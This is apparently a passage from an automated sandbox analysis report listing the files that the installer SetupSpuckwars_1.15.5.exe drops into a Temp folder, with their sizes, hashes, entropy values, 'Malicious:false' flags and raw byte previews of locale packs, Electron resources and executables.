                                                                                                                  Preview:..........8.h.r...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.#...|.)...}.;.....C.....H.....P.....X.....`.....g.....n.....u.....v.....w.....|...........3.....g.............................@.....U...........4.....6.....B.....j.......................2.......................>.....`...........$.....U.....s...............................................,.....o.............................>.................<.................p.........................................8.......................M.....~.........................................P.....l.............................2.....T.........................................0.....W.....~.............................7.............................c.................7.....C.....s.......................T...........A.................p.......................C............... .....".....%.K...(.....*.....+.....,.......I.../.....0.....1.U...3.x...4.....5.....6.....7.....8."...9.V...;.....<.....=.....>.....?.....@.=...A...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\th.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):771431
                                                                                                                  Entropy (8bit):4.388714549432334
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:5ZY31Mkgs3s5UvfZLRflsjj8FCG1LDoAGkEeuLAD57Kle9d8nyj9FR3o09XAyFHa:57yU5K54
                                                                                                                  MD5:A32BA63FEEED9B91F6D6800B51E5AEAE
                                                                                                                  SHA1:2FBF6783996E8315A4FB94B7D859564350EE5918
                                                                                                                  SHA-256:E32E37CA0AB30F1816FE6DF37E3168E1022F1D3737C94F5472AB6600D97A45F6
                                                                                                                  SHA-512:ADEBDE0F929820D8368096A9C30961BA7B33815B0F124CA56CA05767BA6D081ADF964088CB2B9FCAA07F756B946FFFA701F0B64B07D457C99FD2B498CBD1E8A5
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.....j.....k.....l.....o.....p.'...r.-...s.>...t.G...v.\...w.i...y.o...z.~...|.....}...............................................................................2.....V.............................\.....z...................................E.....r.............................&.....M.............................;.....V.....h.................1.............................+.....L.....X.....[.....j.......................2.....e...............................................&.....E.....~.................&.....Y.....t.................O.............................0.....3.....W.....x.........................................".....C.....U.....h.......................3.....E.................D.............................".....=.....d.......................e.................H....................................... .7...".L...%.....(.....*.*...+.-...,.>.....n.../.....0.....1.>...3.l...4.....5.....6.{...7.....8.....9.....;.....<.3...=.X...>.....?.....@.....A.-...C.r...D.....E...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\tr.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):395016
                                                                                                                  Entropy (8bit):5.625100269002306
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:xxl+G2KPlJi+kKD80GlTgAI7WTge95j/0+Vi1havX9vwiBrVmI:rlt2IlrRn57m5j/1
                                                                                                                  MD5:5FF2E5C95067A339E3D6B8985156EC1F
                                                                                                                  SHA1:7525B25C7B07F54B63B6459A0D8C8C720BD8A398
                                                                                                                  SHA-256:14A131BA318274CF10DE533A19776DB288F08A294CF7E564B7769FD41C7F2582
                                                                                                                  SHA-512:2414386DF8D7AB75DCBD6CA2B9AE62BA8E953DDB8CD8661A9F984EB5E573637740C7A79050B2B303AF3D5B1D4D1BB21DC658283638718FDD04FC6E5891949D1B
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........".h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v."...w./...y.5...z.D...|.J...}.\.....d.....i.....q.....y.......................................................................#.....1.....O.....\.....p.........................................................../.....9.....R.....|...........................................................J.....b.....f.....n.....{.................................................................H.....V.....[.....c.....j.....q.............................................../.....>.....u.................................................................-.....F.....V.....].....`.....a.....k.....t.....{.............................$.....c.....i.........................................(.....2.....;.....B.....[.....{.............................@.....V.....].....c.....r............... .....".....%.....(.....*.....+.....,.......E.../.^...0.g...1.....3.....4.....5.....6.....7.:...8._...9.t...;.....<.....=.....>.....?.....@.....A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\uk.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):673547
                                                                                                                  Entropy (8bit):4.9167574403691825
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:Yoff7plonpyOKtPXiNcnZx75kB3IjE8EmLvLNiXEJq//GW:YoffaXMd59E7
                                                                                                                  MD5:361A0E1F665B9082A457D36209B92A25
                                                                                                                  SHA1:3C89E1B70B51820BB6BAA64365C64DA6A9898E2F
                                                                                                                  SHA-256:BD02966F6C6258B66EAE7FF014710925E53FE26E8254D7DB4E9147266025CC3A
                                                                                                                  SHA-512:D4D25FC58053F8CCE4C073846706DC1ECBC0DC19308BA35501E19676F3E7ED855D7B57AE22A5637F81CEFC1AA032BF8770D0737DF1924F3504813349387C08CF
                                                                                                                  Malicious:false
                                                                                                                  Preview:........g...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...|.n...}.........................................................................'.....D.....].........................................J...............................................6.....J.....a...................................O.....[.....m.............................C.....M.....].....t...............................................L.....}.........................................=.....d...................................+.....b.....y.............................1.....Q.....}...................................3.....c.....j.....m.....n.....~.............................I...........U.....g...........1.....`.......................*.....>.....R.....`.......................C.....x................./.....A.....U..................... .....".....%.0...(.j...*.....+.....,.........../.J...0.\...1.....3.....4.....5.A...6.....7.....8.....9.....;.....<.%...=.9...>.....?.....@.....A.3...C.m...D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ur.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):585532
                                                                                                                  Entropy (8bit):5.197200392190567
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:UA3OsGF8Pz0WEJytlkA+7Z5QzUExbW7DQQYrhu6co/9NjjFpvJK:UAe3A85oWB
                                                                                                                  MD5:1CA4FA13BD0089D65DA7CD2376FEB4C6
                                                                                                                  SHA1:B1BA777E635D78D1E98E43E82D0F7A3DD7E97F9C
                                                                                                                  SHA-256:3941364D0278E2C4D686FAA4A135D16A457B4BC98C5A08E62AA12F3ADC09AA7F
                                                                                                                  SHA-512:D0D9EB1AA029BD4C34953EE5F4B60C09CF1D4F0B21C061DB4EDE1B5EC65D7A07FC2F780ADE5CE51F2F781D272AC32257B95EEDF471F7295BA70B5BA51DB6C51D
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........S.h.<...i.D...j.P...k._...l.j...n.r...o.w...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................&.....-.........../.....4.........................................?.....K.....U.........................................3.....H.....g...................................B.....n........................................._.....................................................1.....\.....~.......................G.....k.....z...............................................<...................................\.....................................................:.....U.....s...........................................................$.................b.....w.......................9.....U.....q.....w...................................<.......................?....._.....k........................... .....".....%.0...(.R...*.....+.....,.........../.....0.....1.K...3.e...4.....5.....6.....7.L...8.....9.....;.....<.....=.....>.....?.....@.!...A.Q...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\vi.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):466098
                                                                                                                  Entropy (8bit):5.819101554769623
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:3CwEs5kAfnzs0ACmwSxXwzIJWl+58Qagi7+URTJziV53f:3qOFfnzs0AHwSGz5A5rri7+UtliV53f
                                                                                                                  MD5:DB0EB3183007DE5AAE10F934FFFACC59
                                                                                                                  SHA1:E9EA7AEFFE2B3F5CF75AB78630DA342C6F8B7FD9
                                                                                                                  SHA-256:DDABB225B671B989789E9C2CCD1B5A8F22141A7D9364D4E6EE9B8648305E7897
                                                                                                                  SHA-512:703EFD12FCACE8172C873006161712DE1919572C58D98B11DE7834C5628444229F5143D231C41DA5B9CF729E32DE58DEE3603CB3D18C6CDD94AA9AA36FBF5DE0
                                                                                                                  Malicious:false
                                                                                                                  Preview:........_...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.!...t.*...v.?...w.L...y.R...z.a...|.g...}.y.........................................................................................%.....2.....;.....b.....n.....x.........................................%...../.....F.....f.....q...............................................!.....2.....D.....T.....{.................................................................+.....V.....t...........................................................:.....D.....c...................................F.....................................................#.....A.....Q.....i.................................................................E.....z.............................4.....?.....O.....Z.....e.....x.............................<.....T.....z............................................. ."...".;...%.a...(.....*.....+.....,.........../.....0.....1.G...3.T...4.p...5.....6.....7.....8.....9.....;.+...<.5...=.F...>.a...?.m...@.....A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\zh-CN.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):340874
                                                                                                                  Entropy (8bit):6.70707570391969
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:fmLpS8IeOL27M807pnCKjEWkE0G5xNlEPeVplD:fmLQmK2I1nCKjEjG5xNlEPe
                                                                                                                  MD5:82326E465E3015C64CA1DB77DC6A56BC
                                                                                                                  SHA1:E8ABE12A8DD2CC741B9637FA8F0E646043BBFE3D
                                                                                                                  SHA-256:6655FD9DCDFAF2ABF814FFB6C524D67495AED4D923A69924C65ABEAB30BC74FB
                                                                                                                  SHA-512:4989789C0B2439666DDA4C4F959DFFC0DDCB77595B1F817C13A95ED97619C270151597160320B3F2327A7DAFFC8B521B68878F9E5E5FB3870EB0C43619060407
                                                                                                                  Malicious:false
                                                                                                                  Preview:........,...h.J...i.R...j.U...k.d...l.k...m.s...o.y...p.~...r.....s.....t.....v.....w.....|.....}.......................................................%.....'.....,.....Z.....c.....o.......................................................................C.....[.....a.....m.................................................................!.....9.....E.....i.....x.....~.................................................................2.....J.....b.....n.....t.....|...........................................................%.....=.....^......................................................................./.....C.....R.....Y.....\.....^.....s.....|.........................................>.....D.......................................................................(.....@.....j.....|...............................................%... .+...".7...%.R...(.g...*.|...+.....,.........../.....0.....1.....3. ...4.5...5.V...6.....7.....8.....9.....;.....<.....=.....>.,...?.<...@.T...A.....C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\zh-TW.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):338121
                                                                                                                  Entropy (8bit):6.721086394879431
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:zQmZEIQee2hZuwv+2440f5lHz8wMCM/9ylTN:cvIpn+2440f5lHzgT/C
                                                                                                                  MD5:2456BF42275F15E016689DA166DF9008
                                                                                                                  SHA1:70F7DE47E585DFEA3F5597B5BBA1F436510DECD7
                                                                                                                  SHA-256:ADF8DF051B55507E5A79FA47AE88C7F38707D02DFAC0CC4A3A7E8E17B58C6479
                                                                                                                  SHA-512:7E622AFA15C70785AAF7C19604D281EFE0984F621D6599058C97C19D3C0379B2EE2E03B3A7EC597040A4EEE250A782D7EC55C335274DD7DB7C7CA97DDCFD378A
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.+...j./...k.>...l.I...n.Q...o.V...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.............................................................>.....G.....S.....b.....h.....................................................!.....0.....H.....N.....Z.....i.....r.....~.................................................................2.....D.....J.....S....._.....k.....q.....w.....}.......................................................................).....5.....B.....W.....c.....o.........................................&...../.....;.....G.....Y.....t.....w...............................................................................................[.........................................?.....K.....W.....].....i.....o.....u.........................................E.....T.....Z.....`.....l............... .....".....%.....(.....*.....+.....,.......C.../.[...0.d...1.....3.....4.....5.....6.....7.%...8.7...9.C...;.U...<.e...=.u...>.....?.....@.....A.....C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resources.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):5430320
                                                                                                                  Entropy (8bit):7.995406820581218
                                                                                                                  Encrypted:true
                                                                                                                  SSDEEP:98304:/Zgm9tHEEIcjWbEvKfwa2sEJFz993CNh1QeHQF5qrwrw5z0uxRRrY2kuDYj9ds:RgAtkEx4EKfatyNhHwFkkrw5IcRRtkFs
                                                                                                                  MD5:7971A016AED2FB453C87EB1B8E3F5EB2
                                                                                                                  SHA1:92B91E352BE8209FADCF081134334DEA147E23B8
                                                                                                                  SHA-256:9CFD5D29CDE3DE2F042E5E1DA629743A7C95C1211E1B0B001E4EEBC0F0741E06
                                                                                                                  SHA-512:42082AC0C033655F2EDAE876425A320D96CDAEE6423B85449032C63FC0F7D30914AA3531E65428451C07912265B85F5FEE2ED0BBDB362994D3A1FA7B14186013
                                                                                                                  Malicious:false
                                                                                                                  Preview:............f.R......&....h).....,...4_?...4.G...4.J...4.\...4.e...4.l...4Ho...4.u...4.w...4.y...4.}...4....4&....4H....4.....4....4.....4F....4.....4.....4[....4d....4e....4.....4.....4.....4l....4.....4.....4.....4.....4g....4.....5.....5?....5.....5.....5H....5.:...5.=..~5]D...5oE...5;F...57H...5.H...5mI...5}M...56O...5.T...5{y...5c....5.....5.....5.....5.....5.....5G....5W....<.....<Y(...<.*...<j,...<N-...<.1..,<.2..-</=...<.H../<.T..0<._...@.p...@.x...@g|...@}}...@.~...@.i...Agv...A]x...A.....A.....A'....A....A.....A.....AT....Al....A.....A.....Ao....A$....A.....A2....A=....Ae....A.....A.....AS!...A.%...AH,...Am:...AM<...A:>...A.@...AuB...A.C.. AZF...N....N.....N.....Nc....NL....N....NM....N.....O.....O}....O.....O.....O#....O.....O}....O.....Od....O4....O.....O.0...O.7...Og>...O.A..$O.W..%O.Y..&O]c..'O.d..(O.i..)O.k..*Opm..+O.x..,O(|..-Oq....O..../O....0O....1O...2Og...3O....4O....5Ot...6O....7O....8OV...9OB...:O....;Om...<O....=O....>O....?Om...@OI...AO....BO....CO....DO..

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resources\app.asar

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):21729583
                                                                                                                  Entropy (8bit):6.47169237121468
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:98304:knVrBseUEGhCTOi8sQrZwwpxTbG9tIagImnkiold7GfbJLljZF+3J0gWuXYRM84V:yseUEpB91gImMMxlY3Cg51d
                                                                                                                  MD5:A77D5A076857B815D5D3FF51E0CC833E
                                                                                                                  SHA1:BB6B59129F86F41DAA0658046DE9E4C3981E199E
                                                                                                                  SHA-256:B994E8EE197648AAC2D90BF58C32BA0601D2B0FD8E8B70A9783CFD84A5E37EFC
                                                                                                                  SHA-512:6116F103ED867DE0488F483695C28C75B7615173F4B4B0BE24248D87BFD6DE4875AC9EEAEC0100AF6FB45F6B2062E57AB84EAE1CE014929BFD78E0F93A7B4773
                                                                                                                  Malicious:false
                                                                                                                  Preview:....L...H...D...{"files":{"AzRkApq1MdmLapQ.js":{"size":1080825,"integrity":{"algorithm":"SHA256","hash":"325c3af31c7049a864a56be6de96f65b9d8fbe040e19ac3feb35f11490dc0860","blockSize":4194304,"blocks":["325c3af31c7049a864a56be6de96f65b9d8fbe040e19ac3feb35f11490dc0860"]},"offset":"0"},"package.json":{"size":482,"integrity":{"algorithm":"SHA256","hash":"4470cd3696843db6a8be189f1de76410656a55f9703934091d203a8302e9c961","blockSize":4194304,"blocks":["4470cd3696843db6a8be189f1de76410656a55f9703934091d203a8302e9c961"]},"offset":"1080825"},"node_modules":{"files":{"abbrev":{"files":{"LICENSE":{"size":2011,"integrity":{"algorithm":"SHA256","hash":"9e0d5c7989f7e9f07d7c4b158aceff270f235eb7464ace41c5e7b200834a43e0","blockSize":4194304,"blocks":["9e0d5c7989f7e9f07d7c4b158aceff270f235eb7464ace41c5e7b200834a43e0"]},"offset":"2019849"},"abbrev.js":{"size":1763,"integrity":{"algorithm":"SHA256","hash":"77e68ed8bb552a11a5ece29800e0afe34bcc098d14a1b88dd44273f68be43943","blockSize":4194304,"blocks":["77e6

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resources\elevate.exe

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):107520
                                                                                                                  Entropy (8bit):6.442687067441468
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                  MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                  SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                  SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                  SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\snapshot_blob.bin

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):162352
                                                                                                                  Entropy (8bit):4.860588090157433
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:1536:uebVb91USSzM+uCPNgswpzHD41OzB965pUB8/DR9BgyLMRPoq/rX4JHj/kMKE0YC:uTgsED41OV965LXMj4zF2Xl9B
                                                                                                                  MD5:8FEF5A96DBCC46887C3FF392CBDB1B48
                                                                                                                  SHA1:ED592D75222B7828B7B7AAB97B83516F60772351
                                                                                                                  SHA-256:4DE0F720C416776423ADD7ADA621DA95D0D188D574F08E36E822AD10D85C3ECE
                                                                                                                  SHA-512:E52C7820C69863ECC1E3B552B7F20DA2AD5492B52CAC97502152EBFF45E7A45B00E6925679FD7477CDC79C68B081D6572EEED7AED773416D42C9200ACCC7230E
                                                                                                                  Malicious:false
                                                                                                                  Preview:.........4D11.0.226.20-electron.0...........................................6.. ...`.......06..a........a........a........ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\spuckwars.exe

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):162028032
                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):476792
                                                                                                                  Entropy (8bit):5.595608653079527
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:qqgtKzy7vqUSMd+5ZTR4ymbsLIniZiYIU+gTh3WOdvmttow2LyZDvooPmdZwmNgi:lgEzy2NTROsLftIU+gTQ4E2ro+dOmp
                                                                                                                  MD5:A373D83D4C43BA957693AD57172A251B
                                                                                                                  SHA1:8E0FDB714DF2F4CB058BEB46C06AA78F77E5FF86
                                                                                                                  SHA-256:43B58CA4057CF75063D3B4A8E67AA9780D9A81D3A21F13C64B498BE8B3BA6E0C
                                                                                                                  SHA-512:07FBD84DC3E0EC1536CCB54D5799D5ED61B962251ECE0D48E18B20B0FC9DD92DE06E93957F3EFC7D9BED88DB7794FE4F2BEC1E9B081825E41C6AC3B4F41EAB18
                                                                                                                  Malicious:false
                                                                                                                  Preview:.........K..11.0.226.20-electron.0..............................................`....f..8...........h...a........a........aT.......ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vk_swiftshader.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):5209088
                                                                                                                  Entropy (8bit):6.329767466271418
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:tG7ixZvPbWjIXTFy1RYQZHJvuZBiDTwgvsrt5/PXd0kpmaN+WUf4CvB25zT7RCAq:c7iDPqjvzO1Lhgf49zT7grg4
                                                                                                                  MD5:A0845E0774702DA9550222AB1B4FDED7
                                                                                                                  SHA1:65D5BD6C64090F0774FD0A4C9B215A868B48E19B
                                                                                                                  SHA-256:6150A413EBE00F92F38737BDCCF493D19921EF6329FCD48E53DE9DBDE4780810
                                                                                                                  SHA-512:4BE0CB1E3C942A1695BAE7B45D21C5F70E407132ECC65EFB5B085A50CDAB3C33C26E90BD7C86198EC40FB2B18D026474B6C649776A3CA2CA5BFF6F922DE2319B
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......?..........&8...................................... Q...........`A........................................X.J.~.....J.P.....P.......N..c............P..}....J.....................h.J.(...@.?.8...........x.K.P............................text...".?.......?................. ..`.rdata..$.....?.. ....?.............@..@.data...`.....K.......K.............@....pdata...c....N..d...\M.............@..@.00cfg..(.....P.......N.............@..@.gxfg...`,... P.......N.............@..@.retplne\....PP.......N..................tls....Q....`P.......N.............@....voltbl.8....pP.......N................._RDATA........P.......N.............@..@.rsrc.........P.......N.............@..@.reloc...}....P..~....N.............@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:JSON data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):106
                                                                                                                  Entropy (8bit):4.724752649036734
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                  MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                  SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                  SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                  SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                  Malicious:false
                                                                                                                  Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vulkan-1.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):920576
                                                                                                                  Entropy (8bit):6.556557427650666
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24576:PR9nl1crwjLAQw6Z5WUDYsH56g3P0zAk7:PR1l1culw6Z5WUDYsH56g3P0zAk7
                                                                                                                  MD5:0E4E0F481B261EA59F196E5076025F77
                                                                                                                  SHA1:C73C1F33B5B42E9D67D819226DB69E60D2262D7B
                                                                                                                  SHA-256:F681844896C084D2140AC210A974D8DB099138FE75EDB4DF80E233D4B287196A
                                                                                                                  SHA-512:E6127D778EC73ACBEB182D42E5CF36C8DA76448FBDAB49971DE88EC4EB13CE63140A2A83FC3A1B116E41F87508FF546C0D7C042B8F4CDD9E07963801F3156BA2
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." .....l................................................................`A............................................<!..T...P...............pn..............<...Tn......................8m..(...@...8............................................text....k.......l.................. ..`.rdata..4............p..............@..@.data....L...P... ...6..............@....pdata..pn.......p...V..............@..@.00cfg..(...........................@..@.gxfg... (... ...*..................@..@.retplne\....P...........................tls.........`......................@....voltbl.8....p.........................._RDATA..............................@..@.rsrc...............................@..@.reloc..<...........................@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\System.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):12288
                                                                                                                  Entropy (8bit):5.719859767584478
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                  MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                  SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                  SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                  SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\app-64.7z

